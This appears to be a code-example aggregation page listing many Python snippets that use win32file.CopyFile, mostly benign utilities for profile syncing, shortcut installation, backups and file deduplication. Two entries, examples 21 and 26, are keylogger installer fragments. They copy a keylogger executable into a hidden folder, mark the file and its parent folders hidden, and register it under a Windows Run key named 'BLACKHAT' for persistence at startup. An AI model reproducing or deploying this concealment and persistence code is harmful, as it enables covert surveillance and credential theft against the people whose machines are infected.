Esempio n. 1
0
def get_code_str(ie6, imgVerifior):
    body = ie6.getBody()
    nodesImg = getSubNodesByTag(body, "img")
    codeImgElement = getNodeByAttr(nodesImg, 'id', 'code_img')
    codeUrl = codeImgElement.__getattr__('src')
    cachInfo = win32inet.GetUrlCacheEntryInfo(codeUrl)
    code = 'bbbb'
    if cachInfo:
        pathSrc = cachInfo['LocalFileName']
        print 'pathSrc:', pathSrc
        srcPathInfo = pathSrc.split('\\')
        srcName = srcPathInfo[-1]
        print 'srcName:', srcName
        pathinfo = codeUrl.split('/')
        filename = pathinfo[-1]
        if filename[-4:-1] != srcName[-4:-1]:
            filename = srcName
        pathDest = os.path.join('c:\\temp\\', filename)
        if os.path.isfile(pathDest):
            os.remove(pathDest)
        win32file.CopyFile(pathSrc, pathDest, True)
        code = get_code_str_from_image(pathDest, imgVerifior)
    else:
        code = 'aaaa'
    print code

    return code
Esempio n. 2
0
def dirWatcherWorker(dir_to_watch, tag, log_filename, path_to_sync_log):
    handle_to_Dir = win32file.CreateFile(
        dir_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ
        | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None,
        win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None)

    while 1:
        #
        # ReadDirectoryChangesW takes a previously-created
        # handle to a directory, a buffer size for results,
        # a flag to indicate whether to watch subtrees and
        # a filter of what changes to notify.
        results = win32file.ReadDirectoryChangesW(
            handle_to_Dir, 1024, False, win32con.FILE_NOTIFY_CHANGE_FILE_NAME,
            None, None)
        print "events! " + str(len(results))

        new_log_present = len([
            i for i in results
            if i[0] == ACTIONS["Renamed to something"] and i[1] == log_filename
        ]) > 0

        if new_log_present:
            fromPath = os.path.join(dir_to_watch, log_filename)
            print "new log present!" + fromPath
            now = "{:.0f}".format(
                time.time()
            )  # likely to cause concurrency bug, if the time is set back in the host system
            toPath = os.path.join(path_to_sync_log, now + "_" + tag + ".log")
            print "copying to " + toPath
            win32file.CopyFile(fromPath, toPath, 1)
Esempio n. 3
0
def CopyFile(inputfile, outputfile):
    if os.path.isfile(outputfile):
        return
    print inputfile, "=>", outputfile

    win32file.CopyFile(inputfile, outputfile, 1)

    if os.path.isfile(outputfile): print "Success"
Esempio n. 4
0
def copyFile(src, dest):
    try:
        destDir = os.path.dirname(dest)
        if not os.path.exists(destDir):
            os.makedirs(destDir)
        win32file.CopyFile(src, dest, 0)
        pmsg('copy file %s to %s' % (src, dest))
    except Exception, e:
        pmsg(e)
Esempio n. 5
0
def copy_file(dest: str, fn: str, year: str, created_at: datetime.datetime):
    dirname = os.path.join(dest, year)
    if not os.path.isdir(dirname):
        os.mkdir(dirname)

    _, name = os.path.split(fn)

    target = os.path.join(dirname, name)
    win32file.CopyFile(fn, target, False)
    changeFileCreationTime(target, created_at)
Esempio n. 6
0
	def synchronize(self, path):
		if self.version > 6.1:
			self.defaultProgram = shell.SHGetFolderPath(0, shellcon.CSIDL_COMMON_PROGRAMS, 0, 0)
			desktopLNKFile = os.path.join(self.windowsProgramsDir, "desktop.lnk")
			
			try:
				if not os.path.exists(desktopLNKFile):
					win32file.CopyFile(os.path.join(self.defaultProgram,"desktop.lnk"), desktopLNKFile, True)
			except Exception, e:
				print "Failed to copy file: ", str(e)
Esempio n. 7
0
    def copySessionStop(self):
        # etre sur que le type est logoff !

        d = shell.SHGetFolderPath(0, shellcon.CSIDL_COMMON_APPDATA, 0, 0)
        profile_tmp_dir = os.path.join(d, "ulteo", "profile",
                                       self.session.user.name)
        profile_tmp_dir = System.local_encode(profile_tmp_dir)
        profile_filter = System.local_encode(Config.profile_filters_filename)

        d = os.path.join(self.mountPoint,
                         "conf.Windows.%s" % System.getWindowsVersionName())
        trial = 5
        while not os.path.exists(d):
            try:
                os.makedirs(d)
            except OSError:
                trial -= 1
                if trial == 0:
                    Logger.exception("Failed to create directory %s" % d)
                    return False

                time.sleep(random.randint(1, 10) / 100.0)
                Logger.debug2(
                    "conf.Windows mkdir failed (concurrent access because of more than one ApS)"
                )
                continue

        # Copy user registry
        src = os.path.join(self.session.windowsProfileDir, "NTUSER.DAT")
        dst = os.path.join(d, "NTUSER.DAT")

        if os.path.exists(src):
            try:
                win32file.CopyFile(src, dst, False)
            except:
                Logger.error("Unable to copy registry to profile")
        else:
            Logger.warn("Weird: no NTUSER.DAT in user home dir ...")

        # Copy configuration File
        if self.profile['profile_mode'] == 'standard':
            cmd = self.getRsyncMethod(Profile.toCygPath(profile_tmp_dir),
                                      Profile.toCygPath(d),
                                      Profile.toCygPath(profile_filter))
            Logger.debug("rsync cmd '%s'" % (cmd))

            p = System.execute(cmd)
            if p.returncode is not 0:
                Logger.error("Unable to copy conf to profile")
                Logger.debug(
                    "Unable to copy conf to profile, cmd '%s' return %d: %s" %
                    (cmd, p.returncode, p.stdout.read()))

        if os.path.exists(profile_tmp_dir):
            System.DeleteDirectory(profile_tmp_dir)
Esempio n. 8
0
def saveScript(savePath):
    try:
        curframe = inspect.currentframe()
        outframes = inspect.getouterframes(curframe)
        origPath = outframes[1][1]
        win32file.CopyFile(origPath, savePath, 1)
        if not os.path.isfile(savePath): raise IOError('Saving Script Failed')
    except pywintypes.error:
        print(
            "Attempted to save script over existing file. Choose another path."
        )
Esempio n. 9
0
 def writeProxy(self):
     tmpFile = file("ptmp.txt", "w+")
     numP = len(self.proxySet)
     randomInt = getRandomIntSet( numP )
     for idx in randomInt:
         if idx>=0 and idx<numP:
             proxy = self.proxySet[idx]
             line = proxy[0] + " " + str(proxy[1]) + "\r\n"
             tmpFile.write(line)
         else:
             logging.error("proxy random error: " + str(idx))
     tmpFile.close()
     uFile = self.proxyFile
     win32file.DeleteFile(uFile)
     win32file.CopyFile(u"ptmp.txt", uFile, False)
Esempio n. 10
0
def copydb(source, srcpath, target, tgtpath):

    print "   COPY:  (%s)%s -> (%s)%s" % (source, srcpath, target, tgtpath)

    srcfile = '\\\\' + source + '\\' + srcpath[0] + "$" + srcpath[2:]
    tgtfile = '\\\\' + target + '\\' + tgtpath[0] + "$" + tgtpath[
        2:] + '\\' + srcpath[srcpath.rfind('\\') + 1:]

    try:
        win32file.CopyFile(srcfile, tgtfile, 0)
    except:
        print " ! Unable to copy %s -> %s" % (srcfile, tgtfile)
        return False

    return True
Esempio n. 11
0
	def installToStartMenu(self, shortcut, deleteOnClose = True):
		shortcut = Platform.toUnicode(shortcut)
		dstFile = os.path.join(self.windowsProgramsDir, os.path.basename(shortcut))
		if os.path.exists(dstFile):
			os.remove(dstFile)
		
		try:
			win32file.CopyFile(shortcut, dstFile, True)
			if deleteOnClose:
				Platform.deleteOnclose(dstFile)
		except pywintypes.error, err:
			if err[0] == 5: # Access is denied
				print "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"%(shortcut, dstFile)
			else:
				# other error
				print "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"%(shortcut, dstFile, err[0])
Esempio n. 12
0
	def installToDesktop(self, shortcut):
		shortcut = Platform.toUnicode(shortcut)
		if not os.path.exists(self.windowsDesktopDir):
			os.makedirs(self.windowsDesktopDir)
			
		dstFile = os.path.join(self.windowsDesktopDir, os.path.basename(shortcut))
		if os.path.exists(dstFile):
			os.remove(dstFile)
		try:
			win32file.CopyFile(shortcut, dstFile, True)
			Platform.deleteOnclose(dstFile)
		except pywintypes.error, err:
			if err[0] == 5: # Access is denied
				print "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"%(shortcut, dstFile)
				return
			# other error
			print "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"%(shortcut, dstFile, err[0])
			return
Esempio n. 13
0
 def writeUrlConfig(self):
     try:
         wb = xlwt.Workbook()
         sheet = wb.add_sheet('sheet 1')
         for row_index in range(len(self.baobeiSet)):
             baobei = self.baobeiSet[row_index]
             num = baobei[0]-1
             url = baobei[1]
             sheet.write(row_index,0,num)
             sheet.write(row_index,1,url)
         sheet.col(1).width = 3333*8
         filePath = "UrlConfig_backup.xls"
         wb.save(filePath)
         win32file.DeleteFile(u"UrlConfig.xls")
         win32file.CopyFile(u"UrlConfig_backup.xls", u"UrlConfig.xls", False)
     except:
         logging.error("UrlConfig_backup.xls write error!")
         traceStr = traceback.format_exc()
         logging.error(traceStr)
Esempio n. 14
0
 def start(self):
     for url in self.__urls:
         try:
             self.__ie.Navigate(url)
             self.__wait__()
             cachInfo = win32inet.GetUrlCacheEntryInfo(url)
             if cachInfo:
                 pathSrc = cachInfo['LocalFileName']
                 srcPathInfo = pathSrc.split('\\')
                 srcName = srcPathInfo[-1]
                 pathinfo = url.split('/')
                 filename = pathinfo[-1]
                 if filename[-4:-1] != srcName[-4:-1]:
                     filename = srcName
                 win32file.CopyFile(pathSrc,
                                    os.path.join(self.__dir, filename),
                                    True)
         except:
             print 'Get Image Error: ', url
             a = 0
Esempio n. 15
0
    def install_shortcut(self, shortcut):
        if self.mode != Session.MODE_DESKTOP:
            return

        self.installedShortcut.append(os.path.basename(shortcut))

        dstFile = os.path.join(self.windowsProgramsDir,
                               os.path.basename(shortcut))
        if os.path.exists(dstFile):
            os.remove(dstFile)

        try:
            win32file.CopyFile(shortcut, dstFile, True)
        except pywintypes.error, err:
            if err[0] == 5:  # Access is denied
                Logger.error(
                    "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"
                    % (shortcut, dstFile))
            else:
                # other error
                Logger.error(
                    "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"
                    % (shortcut, dstFile, err[0]))
Esempio n. 16
0
def main():
    input('Make sure you have run photo-hashing & video-hashing scripts before continue... Go?')
    results = []
    phashes = []
    vhashes = []
    file_num = 0
    with open(PHOTOS, 'r', encoding='UTF-8') as f:
        for line in f:
            if line[0] == '#':
                continue
            phashes.append(line.rstrip())
    with open(VIDEOS, 'r', encoding='UTF-8') as f:
        for line in f:
            if line[0] == '#':
                continue
            vhashes.append(line.rstrip())

    for root, dirs, fnames in os.walk(SRCDIR):
        for file in fnames:
            file_num = file_num + 1
            fpath = os.path.join(root, file)
            fhash = hash_sha256(fpath)
            print('File ' + file + ' hash: ' + fhash)
            if fhash in phashes or fhash in vhashes:
                continue
            else:
                results.append(file)

    if len(results) == 0:
        print('Congratulations! No missing file is found.')
    else:
        input('Files in total: ' + str(file_num) + '. Found missing files: ' + str(len(results)) + '. Continue?')
        for r in results:
            print('Copying ' + r + "...   ", end='')
            win32file.CopyFile(SRCDIR + '\\' + r, PIPELINE + '\\' + r, 0)
            print('Done')
    input('Done.')
Esempio n. 17
0
while True:
    # result = return value form waitfor... [ for infinite time until there were updates in the handle-path ]
    # result gets 0 if the return was because of a change-event. (otherwise it is an exception or some other error)
    result = win32event.WaitForMultipleObjects(
        stop_handles, 0, win32event.INFINITE
    )  # -> (handles, wait for one(0) / wait for all(1), event for one - infinte time)
    if result == win32con.WAIT_OBJECT_0:  # ( if result == 0 ) 0 is the first handle in the []
        # after = os.listdir(path)
        after = walk(path)
        added = [f for f in after if not f in before]
        if len(added) != 0:
            print "Added: ", ", ".join(added)
            for i in added:
                if i[-4:] == '.png' or i[-4:] == '.jpg' or i[
                        -4:] == '.bmp' or i[-4:] == '.ico' or i[
                            -4:] == '.gif':  # or whatever other format :)
                    win32file.CopyFile(
                        i, 'D:\\Elik\\HW_Golan\\PICS\\New folder\\' +
                        i.rsplit('\\', 1)[1], False)
                    print "copied: ", ", ".join(added)
        before = after
        win32file.FindNextChangeNotification(
            changeHandle
        )  # same as FindFirst... but with an already existing handle

    elif result == win32con.WAIT_OBJECT_0 + 1:  #( if result == 1 ) 1 is the first handle in the []
        break

win32file.FindCloseChangeNotification(changeHandle)
print '++++++++++++++++++++++++\r\nstopped'
Esempio n. 18
0
            continue
        path_src = os.path.join(src, f)
        path_dst = os.path.join(dst, f)

        if os.path.isdir(path_src):
            copyDirOverride(path_src, path_dst, exception)
        else:
            if f.startswith("UsrClass.dat"):
                continue
            attr = None
            if os.path.exists(path_dst):
                attr = win32file.GetFileAttributes(path_dst)
                os.remove(path_dst)

            try:
                win32file.CopyFile(path_src, path_dst, False)
            except:
                pass
            try:
                if attr is not None:
                    win32file.SetFileAttributes(path_dst, attr)
            except:
                #print "Unable to setAttribute of",path_dst
                pass


def get_from_PATH(name):
    try:
        env_var = os.environ["PATH"]
    except KeyError:
        return None
Esempio n. 19
0
def copy():
    win32file.CopyFile(orig_file, copy_file, 1)
    win32file.CopyFile(orig_file, copy_file, 0)
    win32file.CopyFile(orig_file, copy_file, 1)
    if os.path.isfile(copy_file): print "Success"
Esempio n. 20
0
import os
import win32file
import tempfile

filename1 = tempfile.mktemp(".txt")
open(filename1, "w").close()
filename2 = filename1 + ".copy"
print filename1, "=>", filename2

#
# Do a straight copy first, then try to copy without
# failing on collision, then try to copy and fail on
# collision. The first two should succeed; the third
# should fail.
#
win32file.CopyFile(filename1, filename2, 1)
win32file.CopyFile(filename1, filename2, 0)
win32file.CopyFile(filename1, filename2, 1)

if os.path.isfile(filename2): print "Success"

dirname1 = tempfile.mktemp(".dir")
os.mkdir(dirname1)
dirname2 = dirname1 + ".copy"
print dirname1, "=>", dirname2

#
# The CopyFile functionality doesn't seem to cope
# with directories.
#
win32file.CopyFile(dirname1, dirname2, 1)
Esempio n. 21
0
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform, stat
import pythoncom, pyHook, win32api, win32gui, win32con, smtplib, string, win32file
import _winreg as wreg

if os.path.exists("PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER"):
    pass
else:
    os.makedirs("PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER")

if os.path.exists(
        'PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER\\NAME_OF_YOUR_KEYLOGGER_FILE.exe'
):
    pass
else:
    win32file.CopyFile(
        'NAME_OF_YOUR_KEYLOGGER_FILE.exe',
        'PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER\\NAME_OF_YOUR_KEYLOGGER_FILE.exe',
        1)

# IF YOUR PATH IS LIKE: C:\\FOLDER1\\FOLDER2\\FOLDER3\\KEYLOGGER.EXE THEN CHANGE SETTIGNS BELOW LIKE:

win32api.SetFileAttributes(
    'C:\\FOLDER1\\FOLDER2\\FOLDER3\\\NAME_OF_YOUR_KEYLOGGER_FILE.exe',
    win32con.FILE_ATTRIBUTE_HIDDEN)
win32api.SetFileAttributes('C:\\FOLDER1\\FOLDER2\\FOLDER3',
                           win32con.FILE_ATTRIBUTE_HIDDEN)
win32api.SetFileAttributes('C:\\FOLDER1\\FOLDER2',
                           win32con.FILE_ATTRIBUTE_HIDDEN)
win32api.SetFileAttributes('C:\\FOLDER1', win32con.FILE_ATTRIBUTE_HIDDEN)

if os.path.exists('PATH_YOU_WANT_TO_HIDE_YOUR_KEYLOGGER'
                  ) and platform.architecture() == ('64bit', 'WindowsPE'):
Esempio n. 22
0
        while not os.path.exists(d):
            try:
                os.makedirs(d)
            except OSError, err:
                Logger.debug2(
                    "conf.Windows mkdir failed (concurrent access because of more than one ApS) => %s"
                    % (str(err)))
                continue

        # Copy user registry
        src = os.path.join(self.session.windowsProfileDir, "NTUSER.DAT")
        dst = os.path.join(d, "NTUSER.DAT")

        if os.path.exists(src):
            try:
                win32file.CopyFile(src, dst, False)
            except:
                Logger.error("Unable to copy registry to profile")
        else:
            Logger.warn("Weird: no NTUSER.DAT in user home dir ...")

        # Copy AppData
        src = self.session.appDataDir
        dst = os.path.join(d, "AppData")
        try:
            Util.copyDirOverride(
                src, dst,
                ["Protect", "Start Menu", "Crypto", "ulteo", "Identities"])
        except Exception, err:
            Logger.error("Unable to copy appData to profile " + src + " " +
                         dst)
Esempio n. 23
0
                productCode_s,
                link,
                publishedDate_s,
                doneDate_s,
                principal_s,
                reduceDays_s,
                productId_s,
            ))
            print iso_current_time(), 'productId exist, updating %d row' % i
        else:
            sql = "insert into product_transfer_list(productId,productCode,link,publishedDate,doneDate,principal,reduceDays) values((?),(?),(?),(?),(?),(?),(?))"
            cursor.execute(sql,
                           (productId_s, productCode_s, link, publishedDate_s,
                            doneDate_s, principal_s, reduceDays_s))
            print iso_current_time(), 'Inserting %d row' % i
        i = i + 1

    cursor.close()
    conn.commit()
    conn.close()

    filepath = os.getcwd() + "\\result\\lufax.db"
    targetfilepath = os.getcwd() + "\\result\\lufax" + str_current_time(
    ) + ".db"
    win32file.CopyFile(filepath, targetfilepath, 1)
    print "copy a db to review."

    print iso_current_time(), 'please wait 5 minutes'

    time.sleep(300)
Esempio n. 24
0
def remote_Save(target, remote_target):
    bFailIfExists = 0
    for backups in os.listdir(target):
        if backups[-3:].lower() == 'zip':
            win32file.CopyFile(target+'\\'+backups, remote_target+'\\'+backups, bFailIfExists)
Esempio n. 25
0
args = parser.parse_args(sys.argv[1:])

inputFilenameComplete = ' '.join(args.f).replace('"', '')
inputFilenameName, inputFilenameExtension = os.path.splitext(
    inputFilenameComplete)

loc = re.search(r'\d{4}-\d{2}-\d{2}', inputFilenameComplete)

##opts, args = getopt.getopt(argv,"d:f:")
##opts, args = getopt.getopt(sys.argv[1:],"hd:f:o:",["ifile=","ofile="])
#opts, args = getopt.getopt(sys.argv[1:],"d:f:")

#for opt,arg in opts:
#    if opt == '-d':
#        d = arg
##    if opt == '-f':
##        arg2 = re.sub('"', '', arg)
##        inputFilename, inputFilenameExtension = os.path.splitext(arg)
##        outputFilename = inputFilename + ' ' + today + inputFilenameExtension

inputDate = datetime.datetime.strptime(loc.group(0), '%Y-%m-%d')

outputDate = inputDate + datetime.timedelta(days=1)

outputFilenameDate = outputDate.strftime('%Y-%m-%d')

outputFilenameComplete = inputFilenameName[
    0:loc.start(0)] + outputFilenameDate + inputFilenameExtension

win32file.CopyFile(inputFilenameComplete, outputFilenameComplete, 1)
Esempio n. 26
0
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib, string, win32file
import _winreg as wreg

if os.path.exists("PATH_TO_HIDDEN_KEYLOGGER_LOCATION"):
    pass
else:
    os.mkdir("PATH_TO_HIDDEN_KEYLOGGER_LOCATION")

win32api.SetFileAttributes('PATH_TO_HIDDEN_KEYLOGGER_LOCATION',
                           win32con.FILE_ATTRIBUTE_HIDDEN)

if os.path.exists('PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe'):
    pass
else:
    win32file.CopyFile('KEYLOGGER.exe',
                       'PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe', 1)

if os.path.exists('PATH_TO_HIDDEN_KEYLOGGER_LOCATION'
                  ) and platform.architecture() == ('64bit', 'WindowsPE'):
    key = wreg.CreateKey(
        wreg.HKEY_LOCAL_MACHINE,
        "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")
    wreg.SetValueEx(key, 'BLACKHAT', 1, wreg.REG_SZ,
                    '"PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe"')
    key.Close()
else:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE,
                         "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
    wreg.SetValueEx(key, 'BLACKHAT', 1, wreg.REG_SZ,
                    '"PATH_TO_HIDDEN_KEYLOGGER_LOCATION\KEYLOGGER.exe"')
    key.Close()
Esempio n. 27
0
class Session(AbstractSession):
    def init(self):
        self.installedShortcut = []
        self.succefully_initialized = False

    def install_client(self):
        logon = win32security.LogonUser(
            self.user.name, None, self.user.infos["password"],
            win32security.LOGON32_LOGON_INTERACTIVE,
            win32security.LOGON32_PROVIDER_DEFAULT)

        data = {}
        data["UserName"] = self.user.name
        hkey = win32profile.LoadUserProfile(logon, data)
        self.windowsProfileDir = win32profile.GetUserProfileDirectory(logon)

        self.windowsProgramsDir = shell.SHGetFolderPath(
            0, shellcon.CSIDL_PROGRAMS, logon, 0)
        Logger.debug("startmenu: %s" % (self.windowsProgramsDir))
        # remove default startmenu
        if os.path.exists(self.windowsProgramsDir):
            Platform.System.DeleteDirectory(self.windowsProgramsDir)
        os.makedirs(self.windowsProgramsDir)

        self.windowsDesktopDir = shell.SHGetFolderPath(
            0, shellcon.CSIDL_DESKTOPDIRECTORY, logon, 0)

        self.appDataDir = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA,
                                                logon, 0)
        self.localAppDataDir = shell.SHGetFolderPath(
            0, shellcon.CSIDL_LOCAL_APPDATA, logon, 0)
        Logger.debug("localAppdata: '%s'" % (self.localAppDataDir))
        Logger.debug("appdata: '%s'" % (self.appDataDir))

        win32profile.UnloadUserProfile(logon, hkey)
        win32api.CloseHandle(logon)

        self.set_user_profile_directories(self.windowsProfileDir,
                                          self.appDataDir)
        self.init_user_session_dir(
            os.path.join(self.appDataDir, "ulteo", "ovd"))

        if self.profile is not None and self.profile.hasProfile():
            if not self.profile.mount():
                return False

            self.profile.copySessionStart()

        if self.profile is not None and self.profile.mountPoint is not None:
            d = os.path.join(self.profile.mountPoint, self.profile.DesktopDir)
            self.cleanupShortcut(d)

        self.install_desktop_shortcuts()

        self.overwriteDefaultRegistry(self.windowsProfileDir)

        if self.profile is not None and self.profile.hasProfile():
            self.profile.umount()

        self.succefully_initialized = True
        return True

    def set_user_profile_directories(self, userprofile, appDataDir):
        self.user.home = userprofile
        self.appDataDir = appDataDir

    def install_shortcut(self, shortcut):
        if self.mode != Session.MODE_DESKTOP:
            return

        self.installedShortcut.append(os.path.basename(shortcut))

        dstFile = os.path.join(self.windowsProgramsDir,
                               os.path.basename(shortcut))
        if os.path.exists(dstFile):
            os.remove(dstFile)

        try:
            win32file.CopyFile(shortcut, dstFile, True)
        except pywintypes.error, err:
            if err[0] == 5:  # Access is denied
                Logger.error(
                    "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"
                    % (shortcut, dstFile))
            else:
                # other error
                Logger.error(
                    "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"
                    % (shortcut, dstFile, err[0]))

        if self.parameters.has_key(
                "desktop_icons") and self.parameters["desktop_icons"] == "1":
            if self.profile is not None and self.profile.mountPoint is not None:
                d = os.path.join(self.profile.mountPoint,
                                 self.profile.DesktopDir)
            else:
                d = self.windowsDesktopDir
                if not os.path.exists(self.windowsDesktopDir):
                    os.makedirs(self.windowsDesktopDir)

            dstFile = os.path.join(d, os.path.basename(shortcut))
            if os.path.exists(dstFile):
                os.remove(dstFile)
            try:
                win32file.CopyFile(shortcut, dstFile, True)
            except pywintypes.error, err:
                if err[0] == 5:  # Access is denied
                    Logger.error(
                        "Session::Windows::install_shortcut Access is denied on copy of '%s' to '%s'"
                        % (shortcut, dstFile))
                    return
                # other error
                Logger.error(
                    "Session::Windows::install_shortcut error on copy of '%s' to '%s', wintypes error %s"
                    % (shortcut, dstFile, err[0]))
                return
Esempio n. 28
0
def copy_dir_win(srcdir, desdir):
    try:
        win32file.CopyFile(srcdir, desdir, 0)
    except Exception, ex:
        print ex